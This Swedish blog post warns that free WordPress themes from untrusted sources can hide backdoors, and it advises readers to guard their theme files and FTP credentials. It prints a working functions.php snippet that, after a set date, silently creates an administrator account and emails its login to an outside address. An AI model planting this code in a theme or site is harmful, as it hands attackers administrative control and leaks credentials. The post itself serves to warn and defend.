Datumaktiverad bakdörr till WordPress via functions.php

Bakdörr till WordPress

Det finns tusen och en webbplatser som erbjuder gratisteman. Du har alltså inga problem att finna gratis WordPress-teman om du behöver ett WP-tema.

Du behöver dock vara försiktig om du laddar ner ett WP-tema från en sajt du inte vet med säkerhet är betrodd.

Har du otur har distributören bakat in hemlig kod i WP-temat. Du behöver inte märka något i början men så en dag fungerar inga lösenord och din sajt ser ut som hej-kom-och-hjälp-mig.

Den hemliga koden som jag syftar på här handlar om hur en illvillig temautvecklare eller distributör av WP-teman kan placera en “bakdörr” i ditt WordPress-tema.

De behöver inte ens access till din databas för att lyckas med sitt trick. Det enda som krävs är att du laddar ner ett smittat WP-tema och aktiverar det. Sen en dag är du hackad och du förstår inte vad som har hänt.

Metoderna som används för att “hacka” ditt WP-tema är många. Här visar jag koden som kan användas för att skapa en bakdörr till din webbplats, med hjälp av functions.php-temafilen:

if ( strtotime( "2018-11-15" ) < time() ) {
	require_once( ABSPATH . WPINC . '/registration.php' );
	if ( !username_exists( 'the-secret-backdoor' ) ) { 
		add_action( 'shutdown', 'backdoor_create_new_admin' );
		function backdoor_create_new_admin() {
			$user_id = wp_insert_user( array(
				'user_login' => 'the-secret-backdoor',
				'user_pass' => 'thesecretpassword1337haxxors',
				'user_email' => 'superduperultrahiddenemailadress@hotmail.com',
				'role' => 'administrator'
			) );
			wp_mail( 'omgpwnedbythesecretadministrator@hotmail.com', 'New Admin account is ready', 'WP - '.get_bloginfo( 'wpurl' ).' | username: the-secret-backdoor | password: thesecretpassword1337haxxors' );
} } }

Ovanstående kod kontrollerar datumet och om datumet passeras så skapas det automatiskt en ny användare med administratörsrättigheter. Det går även iväg ett mail per automatik till den som nyss blev administratör…

Det här scenariot må se ut att vara långsökt men det är inte ett otänkbart scenario. Du kan t.ex. genom att använda funktion “wp set password” ändra adminlösenordet. Du behöver inte hacka någon databas utan det räcker med att på ett eller annat vis komma åt temafilerna. Så allt snack om hur säkert databaslösenordet ska vara säkert bör kompletteras med förmaningar om att även ha koll på FTP-uppgifterna.